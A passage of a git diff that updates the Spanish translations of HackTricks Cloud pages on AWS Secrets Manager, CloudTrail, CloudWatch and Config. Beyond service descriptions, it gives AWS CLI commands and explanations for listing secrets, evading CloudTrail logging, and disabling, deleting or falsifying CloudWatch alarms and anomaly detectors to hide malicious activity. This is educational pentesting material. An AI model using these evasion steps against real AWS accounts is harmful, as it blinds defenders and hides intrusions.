datos** directamente en Amazon Simple Storage Service (Amazon **S3**) **usando** SQL **estándar**. +Amazon Athena es un servicio de consulta interactivo que facilita **analizar datos** directamente en Amazon Simple Storage Service (Amazon **S3**) **usando** **SQL** estándar. Necesitas **preparar una tabla de base de datos relacional** con el formato del contenido que va a aparecer en los buckets de S3 monitoreados. Y luego, Amazon Athena podrá poblar la base de datos a partir de los registros, para que puedas consultarla. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 33437c2a4..849da737c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -1,24 +1,24 @@ -# AWS - Secrets Manager Enum +# AWS - Enumeración de Secrets Manager {{#include ../../../banners/hacktricks-training.md}} ## AWS Secrets Manager -AWS Secrets Manager está diseñado para **eliminar el uso de secretos codificados en las aplicaciones reemplazándolos con una llamada a la API**. Este servicio sirve como un **repositorio centralizado para todos tus secretos**, asegurando que se gestionen de manera uniforme en todas las aplicaciones. +AWS Secrets Manager está diseñado para **eliminar el uso de secretos codificados en las aplicaciones reemplazándolos con una llamada a la API**. Este servicio actúa como un **repositorio centralizado para todos tus secretos**, asegurando que se gestionen de manera uniforme en todas las aplicaciones. El administrador simplifica el **proceso de rotación de secretos**, mejorando significativamente la postura de seguridad de datos sensibles como las credenciales de bases de datos. Además, secretos como las claves API pueden rotarse automáticamente con la integración de funciones lambda. El acceso a los secretos está estrictamente controlado a través de políticas detalladas basadas en identidades IAM y políticas basadas en recursos. -Para otorgar acceso a secretos a un usuario de una cuenta de AWS diferente, es necesario: +Para otorgar acceso a secretos a un usuario de una cuenta AWS diferente, es necesario: 1. Autorizar al usuario para acceder al secreto. -2. Otorgar permiso al usuario para descifrar el secreto utilizando KMS. +2. Otorgar permiso al usuario para descifrar el secreto usando KMS. 3. Modificar la política de clave para permitir que el usuario externo la utilice. **AWS Secrets Manager se integra con AWS KMS para cifrar tus secretos dentro de AWS Secrets Manager.** -### **Enumeration** +### **Enumeración** ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index cd8d6f88a..39102f545 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -19,10 +19,10 @@ Cada evento registrado contiene: - Los parámetros de la solicitud: `requestParameters` - Los elementos de la respuesta: `responseElements` -Los eventos se escriben en un nuevo archivo de registro **aproximadamente cada 5 minutos en un archivo JSON**, son retenidos por CloudTrail y, finalmente, los archivos de registro son **entregados a S3 aproximadamente 15 minutos después**.\ +Los eventos se escriben en un nuevo archivo de registro **aproximadamente cada 5 minutos en un archivo JSON**, son retenidos por CloudTrail y finalmente, los archivos de registro son **entregados a S3 aproximadamente 15 minutos después**.\ Los registros de CloudTrail pueden ser **agregados a través de cuentas y regiones.**\ CloudTrail permite usar **la integridad del archivo de registro para poder verificar que sus archivos de registro no han cambiado** desde que CloudTrail se los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Un hash sha-256 de los nuevos registros se crea cada hora.\ -Al crear un Trail, los selectores de eventos le permitirán indicar el trail a registrar: eventos de gestión, datos o de información. +Al crear un Trail, los selectores de eventos le permitirán indicar el tipo de registro: eventos de gestión, datos o de información. Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tienen acceso a él, pero para mayor seguridad puede usar SSE con KMS y sus propias claves. @@ -32,7 +32,7 @@ Los registros se almacenan en un **bucket de S3 con este formato de nombre**: - Siendo el BucketName: **`aws-cloudtrail-logs--`** - Ejemplo: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Dentro de cada carpeta, cada registro tendrá un **nombre siguiendo este formato**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Dentro de cada carpeta, cada registro tendrá un **nombre que sigue este formato**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** Convención de Nombres de Archivos de Registro @@ -48,14 +48,14 @@ Además, **los archivos de resumen (para verificar la integridad del archivo)** - Aplique permisos al bucket de S3 de destino permitiendo el acceso entre cuentas para CloudTrail y permita a cada cuenta de AWS que necesite acceso - Cree un nuevo Trail en las otras cuentas de AWS y seleccione usar el bucket creado en el paso 1 -Sin embargo, incluso si puede guardar todos los registros en el mismo bucket de S3, no puede agregar registros de CloudTrail de múltiples cuentas en un CloudWatch Logs perteneciente a una sola cuenta de AWS. +Sin embargo, incluso si puede guardar todos los registros en el mismo bucket de S3, no puede agregar los registros de CloudTrail de múltiples cuentas en un CloudWatch Logs perteneciente a una sola cuenta de AWS. > [!CAUTION] > Recuerde que una cuenta puede tener **diferentes Trails** de CloudTrail **habilitados** almacenando los mismos (o diferentes) registros en diferentes buckets. ### Cloudtrail de todas las cuentas de la organización en 1 -Al crear un CloudTrail, es posible indicar activar cloudtrail para todas las cuentas en la organización y obtener los registros en solo 1 bucket: +Al crear un CloudTrail, es posible indicar que se active CloudTrail para todas las cuentas en la organización y obtener los registros en solo 1 bucket:
@@ -67,7 +67,7 @@ Puede verificar que los registros no han sido alterados ejecutando ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` -### Logs to CloudWatch +### Registros a CloudWatch **CloudTrail puede enviar automáticamente registros a CloudWatch para que puedas establecer alertas que te adviertan cuando se realicen actividades sospechosas.**\ Ten en cuenta que para permitir que CloudTrail envíe los registros a CloudWatch, se necesita crear un **rol** que permita esa acción. Si es posible, se recomienda usar el rol predeterminado de AWS para realizar estas acciones. Este rol permitirá a CloudTrail: @@ -75,37 +75,37 @@ Ten en cuenta que para permitir que CloudTrail envíe los registros a CloudWatch - CreateLogStream: Esto permite crear flujos de registro de CloudWatch Logs - PutLogEvents: Entregar registros de CloudTrail al flujo de registro de CloudWatch Logs -### Event History +### Historial de Eventos El Historial de Eventos de CloudTrail te permite inspeccionar en una tabla los registros que han sido grabados: ![](<../../../../images/image (89).png>) -### Insights +### Perspectivas **CloudTrail Insights** analiza automáticamente los eventos de gestión de escritura de los senderos de CloudTrail y te **alerta** sobre **actividades inusuales**. Por ejemplo, si hay un aumento en los eventos de `TerminateInstance` que difiere de las líneas base establecidas, lo verás como un evento de Insight. Estos eventos hacen que **encontrar y responder a actividades inusuales de API sea más fácil** que nunca. -Los insights se almacenan en el mismo bucket que los registros de CloudTrail en: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Las perspectivas se almacenan en el mismo bucket que los registros de CloudTrail en: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` -### Security +### Seguridad | Integridad del Archivo de Registro de CloudTrail |
  • Validar si los registros han sido manipulados (modificados o eliminados)
  • Utiliza archivos de resumen (crea un hash para cada archivo)

    • Hashing SHA-256
    • SHA-256 con RSA para firma digital
    • clave privada propiedad de Amazon
  • Toma 1 hora crear un archivo de resumen (hecho en la hora cada hora)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Detener el acceso no autorizado |
  • Usar políticas de IAM y políticas de bucket de S3

    • equipo de seguridad —> acceso de administrador
    • auditores —> acceso solo de lectura
  • Usar SSE-S3/SSE-KMS para cifrar los registros
| | Prevenir que los archivos de registro sean eliminados |
  • Restringir el acceso de eliminación con políticas de IAM y de bucket
  • Configurar la eliminación MFA de S3
  • Validar con la Validación de Archivos de Registro
| -## Access Advisor +## Asesor de Acceso -AWS Access Advisor se basa en los últimos 400 días de registros de AWS **CloudTrail para recopilar sus insights**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales. +AWS Access Advisor se basa en los últimos 400 días de registros de **CloudTrail de AWS para recopilar sus perspectivas**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales. > [!TIP] > Por lo tanto, Access Advisor informa sobre **los permisos innecesarios que se están otorgando a los usuarios** para que el administrador pueda eliminarlos
-## Actions +## Acciones -### Enumeration +### Enumeración ```bash # Get trails info aws cloudtrail list-trails @@ -124,7 +124,8 @@ aws cloudtrail get-query-results --event-data-store --query-id ) > [!CAUTION] -> Ten en cuenta que todas las API públicas descubiertas que no estaban creando registros de CloudTrail ahora están arregladas, así que tal vez necesites encontrar las tuyas... +> Ten en cuenta que todas las API públicas descubiertas que no estaban creando registros de CloudTrail ahora están corregidas, así que tal vez necesites encontrar las tuyas... > > Para más información, consulta la [**investigación original**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). @@ -205,7 +206,7 @@ De esta manera, un **atacante puede obtener el ARN de la clave sin activar ning Ciertos servicios de AWS **generarán alguna infraestructura** como **Bases de Datos** o **clústeres de Kubernetes** (EKS). Un usuario **hablando directamente con esos servicios** (como la API de Kubernetes) **no utilizará la API de AWS**, por lo que CloudTrail no podrá ver esta comunicación. -Por lo tanto, un usuario con acceso a EKS que ha descubierto la URL de la API de EKS podría generar un token localmente y **hablar con el servicio de API directamente sin ser detectado por Cloudtrail**. +Por lo tanto, un usuario con acceso a EKS que haya descubierto la URL de la API de EKS podría generar un token localmente y **hablar con el servicio de API directamente sin ser detectado por CloudTrail**. Más información en: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 9309063d8..072068795 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,15 +4,15 @@ ## CloudWatch -**CloudWatch** **recopila** datos de monitoreo y operación en forma de registros/métricas/eventos proporcionando una **vista unificada de los recursos de AWS**, aplicaciones y servicios.\ -Los eventos de registro de CloudWatch tienen una **limitación de tamaño de 256KB en cada línea de registro**.\ -Puede establecer **alarmas de alta resolución**, visualizar **registros** y **métricas** lado a lado, tomar acciones automatizadas, solucionar problemas y descubrir información para optimizar aplicaciones. +**CloudWatch** **recopila** datos de monitoreo y operación en forma de logs/métricas/eventos proporcionando una **vista unificada de los recursos de AWS**, aplicaciones y servicios.\ +Los eventos de log de CloudWatch tienen una **limitación de tamaño de 256KB en cada línea de log**.\ +Puede establecer **alarmas de alta resolución**, visualizar **logs** y **métricas** lado a lado, tomar acciones automatizadas, solucionar problemas y descubrir información para optimizar aplicaciones. -Puede monitorear, por ejemplo, registros de CloudTrail. Los eventos que se monitorean: +Puede monitorear, por ejemplo, logs de CloudTrail. Los eventos que se monitorean: -- Cambios en los Grupos de Seguridad y NACLs -- Iniciar, detener, reiniciar y terminar instancias EC2 -- Cambios en las Políticas de Seguridad dentro de IAM y S3 +- Cambios en Grupos de Seguridad y NACLs +- Iniciar, Detener, reiniciar y terminar instancias EC2 +- Cambios en Políticas de Seguridad dentro de IAM y S3 - Intentos de inicio de sesión fallidos en la Consola de Administración de AWS - Llamadas a la API que resultaron en autorización fallida - Filtros para buscar en cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) @@ -21,29 +21,29 @@ Puede monitorear, por ejemplo, registros de CloudTrail. Los eventos que se monit ### Namespaces -Un namespace es un contenedor para métricas de CloudWatch. Ayuda a categorizar y aislar métricas, facilitando su gestión y análisis. +Un namespace es un contenedor para métricas de CloudWatch. Ayuda a categorizar e aislar métricas, facilitando su gestión y análisis. - **Ejemplos**: AWS/EC2 para métricas relacionadas con EC2, AWS/RDS para métricas de RDS. -### Métricas +### Metrics Las métricas son puntos de datos recopilados a lo largo del tiempo que representan el rendimiento o la utilización de los recursos de AWS. Las métricas pueden ser recopiladas de servicios de AWS, aplicaciones personalizadas o integraciones de terceros. - **Ejemplo**: CPUUtilization, NetworkIn, DiskReadOps. -### Dimensiones +### Dimensions -Las dimensiones son pares clave-valor que son parte de las métricas. Ayudan a identificar de manera única una métrica y proporcionan contexto adicional, siendo 30 el número máximo de dimensiones que se pueden asociar con una métrica. Las dimensiones también permiten filtrar y agregar métricas en función de atributos específicos. +Las dimensiones son pares clave-valor que son parte de las métricas. Ayudan a identificar de manera única una métrica y proporcionan contexto adicional, siendo 30 el número máximo de dimensiones que se pueden asociar con una métrica. Las dimensiones también permiten filtrar y agregar métricas basadas en atributos específicos. - **Ejemplo**: Para instancias EC2, las dimensiones pueden incluir InstanceId, InstanceType y AvailabilityZone. -### Estadísticas +### Statistics Las estadísticas son cálculos matemáticos realizados sobre los datos de métricas para resumirlos a lo largo del tiempo. Las estadísticas comunes incluyen Promedio, Suma, Mínimo, Máximo y Conteo de Muestras. - **Ejemplo**: Calcular la utilización promedio de CPU durante un período de una hora. -### Unidades +### Units Las unidades son el tipo de medida asociado con una métrica. Las unidades ayudan a proporcionar contexto y significado a los datos de la métrica. Las unidades comunes incluyen Porcentaje, Bytes, Segundos, Conteo. @@ -55,89 +55,89 @@ Las unidades son el tipo de medida asociado con una métrica. Las unidades ayuda **Los Dashboards de CloudWatch** proporcionan **vistas personalizables de sus métricas de AWS CloudWatch**. Es posible crear y configurar dashboards para visualizar datos y monitorear recursos en una sola vista, combinando diferentes métricas de varios servicios de AWS. -**Características clave**: +**Características Clave**: - **Widgets**: Bloques de construcción de dashboards, incluyendo gráficos, texto, alarmas y más. - **Personalización**: El diseño y el contenido se pueden personalizar para adaptarse a necesidades específicas de monitoreo. -**Ejemplo de caso de uso**: +**Ejemplo de Caso de Uso**: - Un solo dashboard que muestra métricas clave para todo su entorno de AWS, incluyendo instancias EC2, bases de datos RDS y buckets S3. -### Flujo de Métricas y Datos de Métricas +### Metric Stream y Metric Data -**Los Flujos de Métricas** en AWS CloudWatch le permiten transmitir continuamente métricas de CloudWatch a un destino de su elección en casi tiempo real. Esto es particularmente útil para monitoreo avanzado, análisis y dashboards personalizados utilizando herramientas fuera de AWS. +**Metric Streams** en AWS CloudWatch le permiten transmitir continuamente métricas de CloudWatch a un destino de su elección en casi tiempo real. Esto es particularmente útil para monitoreo avanzado, análisis y dashboards personalizados utilizando herramientas fuera de AWS. -**Los Datos de Métricas** dentro de los Flujos de Métricas se refieren a las mediciones reales o puntos de datos que se están transmitiendo. Estos puntos de datos representan varias métricas como la utilización de CPU, el uso de memoria, etc., para los recursos de AWS. +**Metric Data** dentro de Metric Streams se refiere a las mediciones o puntos de datos reales que se están transmitiendo. Estos puntos de datos representan varias métricas como utilización de CPU, uso de memoria, etc., para recursos de AWS. -**Ejemplo de caso de uso**: +**Ejemplo de Caso de Uso**: - Enviar métricas en tiempo real a un servicio de monitoreo de terceros para análisis avanzado. - Archivar métricas en un bucket de Amazon S3 para almacenamiento a largo plazo y cumplimiento. -### Alarma +### Alarm **Las Alarmas de CloudWatch** monitorean sus métricas y realizan acciones basadas en umbrales predefinidos. Cuando una métrica supera un umbral, la alarma puede realizar una o más acciones, como enviar notificaciones a través de SNS, activar una política de autoescalado o ejecutar una función de AWS Lambda. -**Componentes clave**: +**Componentes Clave**: - **Umbral**: El valor en el que se activa la alarma. - **Períodos de Evaluación**: El número de períodos sobre los cuales se evalúan los datos. - **Puntos de Datos para la Alarma**: El número de períodos con un umbral alcanzado necesario para activar la alarma. - **Acciones**: Lo que sucede cuando se activa el estado de la alarma (por ejemplo, notificar a través de SNS). -**Ejemplo de caso de uso**: +**Ejemplo de Caso de Uso**: - Monitorear la utilización de CPU de la instancia EC2 y enviar una notificación a través de SNS si supera el 80% durante 5 minutos consecutivos. -### Detectores de Anomalías +### Anomaly Detectors **Los Detectores de Anomalías** utilizan aprendizaje automático para detectar automáticamente anomalías en sus métricas. Puede aplicar la detección de anomalías a cualquier métrica de CloudWatch para identificar desviaciones de patrones normales que podrían indicar problemas. -**Componentes clave**: +**Componentes Clave**: - **Entrenamiento del Modelo**: CloudWatch utiliza datos históricos para entrenar un modelo y establecer cómo se ve el comportamiento normal. - **Banda de Detección de Anomalías**: Una representación visual del rango esperado de valores para una métrica. -**Ejemplo de caso de uso**: +**Ejemplo de Caso de Uso**: - Detectar patrones inusuales de utilización de CPU en una instancia EC2 que podrían indicar una brecha de seguridad o un problema de aplicación. -### Reglas de Insight y Reglas de Insight Administradas +### Insight Rules y Managed Insight Rules -**Las Reglas de Insight** le permiten identificar tendencias, detectar picos u otros patrones de interés en sus datos de métricas utilizando **expresiones matemáticas poderosas** para definir las condiciones bajo las cuales se deben tomar acciones. Estas reglas pueden ayudarle a identificar anomalías o comportamientos inusuales en el rendimiento y la utilización de sus recursos. +**Las Insight Rules** le permiten identificar tendencias, detectar picos u otros patrones de interés en sus datos de métricas utilizando **expresiones matemáticas poderosas** para definir las condiciones bajo las cuales se deben tomar acciones. Estas reglas pueden ayudarle a identificar anomalías o comportamientos inusuales en el rendimiento y la utilización de sus recursos. -**Las Reglas de Insight Administradas** son reglas de **insight preconfiguradas proporcionadas por AWS**. Están diseñadas para monitorear servicios específicos de AWS o casos de uso comunes y se pueden habilitar sin necesidad de una configuración detallada. +**Las Managed Insight Rules** son reglas de **insight preconfiguradas proporcionadas por AWS**. Están diseñadas para monitorear servicios específicos de AWS o casos de uso comunes y se pueden habilitar sin necesidad de una configuración detallada. -**Ejemplo de caso de uso**: +**Ejemplo de Caso de Uso**: -- Monitoreo del Rendimiento de RDS: Habilitar una regla de insight administrada para Amazon RDS que monitorea indicadores clave de rendimiento como la utilización de CPU, el uso de memoria y el I/O de disco. Si alguna de estas métricas supera los umbrales operativos seguros, la regla puede activar una alerta o una acción de mitigación automatizada. +- Monitoreo del Rendimiento de RDS: Habilitar una regla de insight administrada para Amazon RDS que monitorea indicadores clave de rendimiento como utilización de CPU, uso de memoria y disco I/O. Si alguna de estas métricas supera los umbrales operativos seguros, la regla puede activar una alerta o una acción de mitigación automatizada. -### Registros de CloudWatch +### CloudWatch Logs -Permite **agregar y monitorear registros de aplicaciones** y sistemas de **servicios de AWS** (incluyendo CloudTrail) y **de aplicaciones/sistemas** (**CloudWatch Agent** se puede instalar en un host). Los registros pueden ser **almacenados indefinidamente** (dependiendo de la configuración del Grupo de Registros) y pueden ser exportados. +Permite **agregar y monitorear logs de aplicaciones** y sistemas de **servicios de AWS** (incluyendo CloudTrail) y **de aplicaciones/sistemas** (**CloudWatch Agent** se puede instalar en un host). Los logs pueden ser **almacenados indefinidamente** (dependiendo de la configuración del Grupo de Logs) y pueden ser exportados. **Elementos**: -| **Grupo de Registros** | Una **colección de flujos de registros** que comparten la misma retención, monitoreo y configuraciones de control de acceso | -| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Flujo de Registros** | Una secuencia de **eventos de registro** que comparten la **misma fuente** | -| **Filtros de Suscripción** | Definen un **patrón de filtro que coincide con eventos** en un grupo de registros particular, enviándolos a un flujo de Kinesis Data Firehose, flujo de Kinesis o una función Lambda | +| **Grupo de Logs** | Una **colección de flujos de logs** que comparten la misma retención, monitoreo y configuraciones de control de acceso | +| ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Flujo de Logs** | Una secuencia de **eventos de logs** que comparten el **mismo origen** | +| **Filtros de Suscripción** | Definen un **patrón de filtro que coincide con eventos** en un grupo de logs particular, enviándolos a un flujo de Kinesis Data Firehose, flujo de Kinesis o una función Lambda | ### Monitoreo y Eventos de CloudWatch CloudWatch **básico** agrega datos **cada 5 minutos** (el **detallado** lo hace **cada 1 minuto**). Después de la agregación, **verifica los umbrales de las alarmas** en caso de que necesite activar una.\ -En ese caso, CloudWatch puede estar preparado para enviar un evento y realizar algunas acciones automáticas (funciones de AWS lambda, temas de SNS, colas de SQS, Flujos de Kinesis) +En ese caso, CloudWatch puede estar preparado para enviar un evento y realizar algunas acciones automáticas (funciones de AWS Lambda, temas de SNS, colas de SQS, flujos de Kinesis). ### Instalación del Agente -Puede instalar agentes dentro de sus máquinas/contenedores para enviar automáticamente los registros de vuelta a CloudWatch. +Puede instalar agentes dentro de sus máquinas/contenedores para enviar automáticamente los logs de vuelta a CloudWatch. - **Crear** un **rol** y **adjuntarlo** a la **instancia** con permisos que permitan a CloudWatch recopilar datos de las instancias además de interactuar con el administrador de sistemas de AWS SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) - **Descargar** e **instalar** el **agente** en la instancia EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Puede descargarlo desde dentro de la EC2 o instalarlo automáticamente usando AWS System Manager seleccionando el paquete AWS-ConfigureAWSPackage - **Configurar** y **iniciar** el Agente de CloudWatch -Un grupo de registros tiene muchos flujos. Un flujo tiene muchos eventos. Y dentro de cada flujo, los eventos están garantizados en orden. +Un grupo de logs tiene muchos flujos. Un flujo tiene muchos eventos. Y dentro de cada flujo, los eventos están garantizados en orden. ## Enumeración ```bash @@ -216,7 +216,7 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Un atacante con estos permisos podría socavar significativamente la infraestructura de monitoreo y alerta de una organización. Al eliminar alarmas existentes, un atacante podría deshabilitar alertas cruciales que notifican a los administradores sobre problemas críticos de rendimiento, brechas de seguridad o fallos operativos. Además, al crear o modificar alarmas métricas, el atacante también podría engañar a los administradores con alertas falsas o silenciar alarmas legítimas, enmascarando efectivamente actividades maliciosas y evitando respuestas oportunas a incidentes reales. +Un atacante con estos permisos podría socavar significativamente la infraestructura de monitoreo y alertas de una organización. Al eliminar alarmas existentes, un atacante podría desactivar alertas cruciales que notifican a los administradores sobre problemas críticos de rendimiento, violaciones de seguridad o fallos operativos. Además, al crear o modificar alarmas métricas, el atacante también podría engañar a los administradores con alertas falsas o silenciar alarmas legítimas, enmascarando efectivamente actividades maliciosas y evitando respuestas oportunas a incidentes reales. Además, con el permiso **`cloudwatch:PutCompositeAlarm`**, un atacante podría crear un bucle o ciclo de alarmas compuestas, donde la alarma compuesta A depende de la alarma compuesta B, y la alarma compuesta B también depende de la alarma compuesta A. En este escenario, no es posible eliminar ninguna alarma compuesta que sea parte del ciclo porque siempre hay una alarma compuesta que depende de esa alarma que deseas eliminar. ```bash @@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- El siguiente ejemplo muestra cómo hacer que una alarma de métrica sea ineficaz: - Esta alarma de métrica monitorea la utilización promedio de CPU de una instancia EC2 específica, evalúa la métrica cada 300 segundos y requiere 6 períodos de evaluación (30 minutos en total). Si la utilización promedio de CPU supera el 60% durante al menos 4 de estos períodos, la alarma se activará y enviará una notificación al tema SNS especificado. -- Al modificar el Umbral para que sea más del 99%, establecer el Período en 10 segundos, los Períodos de Evaluación en 8640 (ya que 8640 períodos de 10 segundos equivalen a 1 día), y los Puntos de Datos a Alarma en 8640 también, sería necesario que la utilización de CPU estuviera por encima del 99% cada 10 segundos durante todo el período de 24 horas para activar una alarma. +- Al modificar el umbral para que sea más del 99%, establecer el período en 10 segundos, los períodos de evaluación en 8640 (ya que 8640 períodos de 10 segundos equivalen a 1 día), y los puntos de datos a alarma en 8640 también, sería necesario que la utilización de CPU estuviera por encima del 99% cada 10 segundos durante todo el período de 24 horas para activar una alarma. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -283,21 +283,21 @@ El siguiente ejemplo muestra cómo hacer que una alarma de métrica sea ineficaz ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -Al eliminar acciones de alarma, el atacante podría prevenir alertas críticas y respuestas automáticas de ser activadas cuando se alcanza un estado de alarma, como notificar a los administradores o activar actividades de autoescalado. Habilitar o re-habilitar acciones de alarma de manera inapropiada también podría llevar a comportamientos inesperados, ya sea reactivando acciones previamente deshabilitadas o modificando qué acciones se activan, lo que podría causar confusión y desvío en la respuesta a incidentes. +Al eliminar acciones de alarma, el atacante podría prevenir alertas críticas y respuestas automáticas de ser activadas cuando se alcanza un estado de alarma, como notificar a los administradores o activar actividades de autoescalado. Habilitar o re-habilitar acciones de alarma de manera inapropiada también podría llevar a comportamientos inesperados, ya sea reactivando acciones previamente deshabilitadas o modificando qué acciones se activan, causando potencialmente confusión y desvío en la respuesta a incidentes. Además, un atacante con el permiso podría manipular los estados de alarma, siendo capaz de crear falsas alarmas para distraer y confundir a los administradores, o silenciar alarmas genuinas para ocultar actividades maliciosas en curso o fallos críticos del sistema. -- Si usas **`SetAlarmState`** en una alarma compuesta, la alarma compuesta no garantiza volver a su estado real. Regresa a su estado real solo una vez que cualquiera de sus alarmas hijas cambie de estado. También se reevaluará si actualizas su configuración. +- Si usas **`SetAlarmState`** en una alarma compuesta, la alarma compuesta no garantiza volver a su estado real. Solo regresa a su estado real una vez que cualquiera de sus alarmas hijas cambie de estado. También se reevaluará si actualizas su configuración. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potencialmente no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales. +**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potenciales no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -Un atacante podría comprometer la capacidad de detección y respuesta a patrones inusuales o anomalías en los datos de métricas. Al eliminar detectores de anomalías existentes, un atacante podría deshabilitar mecanismos críticos de alerta; y al crearlos o modificarlos, podría desconfigurarlos o crear falsos positivos para distraer o abrumar la supervisión. +Un atacante podría comprometer la capacidad de detección y respuesta a patrones inusuales o anomalías en los datos métricos. Al eliminar detectores de anomalías existentes, un atacante podría deshabilitar mecanismos críticos de alerta; y al crear o modificarlos, podría desconfigurarlos o crear falsos positivos para distraer o abrumar la monitorización. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] @@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** -Las reglas de insight se utilizan para detectar anomalías, optimizar el rendimiento y gestionar recursos de manera efectiva. Al eliminar reglas de insight existentes, un atacante podría eliminar capacidades críticas de monitoreo, dejando al sistema ciego ante problemas de rendimiento y amenazas de seguridad. Además, un atacante podría crear o modificar reglas de insight para generar datos engañosos o ocultar actividades maliciosas, lo que llevaría a diagnósticos incorrectos y respuestas inapropiadas del equipo de operaciones. +Las reglas de insight se utilizan para detectar anomalías, optimizar el rendimiento y gestionar recursos de manera efectiva. Al eliminar reglas de insight existentes, un atacante podría eliminar capacidades críticas de monitoreo, dejando al sistema ciego ante problemas de rendimiento y amenazas de seguridad. Además, un atacante podría crear o modificar reglas de insight para generar datos engañosos o ocultar actividades maliciosas, lo que llevaría a diagnósticos incorrectos y respuestas inapropiadas por parte del equipo de operaciones. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index b71e8b44b..5dd3da4bd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -9,36 +9,36 @@ AWS Config **captura cambios en los recursos**, por lo que cualquier cambio en u Un elemento de configuración o **CI**, como se le conoce, es un componente clave de AWS Config. Está compuesto por un archivo JSON que **contiene la información de configuración, información de relación y otra metadata como una vista instantánea de un recurso compatible en un momento dado**. Toda la información que AWS Config puede registrar para un recurso se captura dentro del CI. Un CI se crea **cada vez que** un 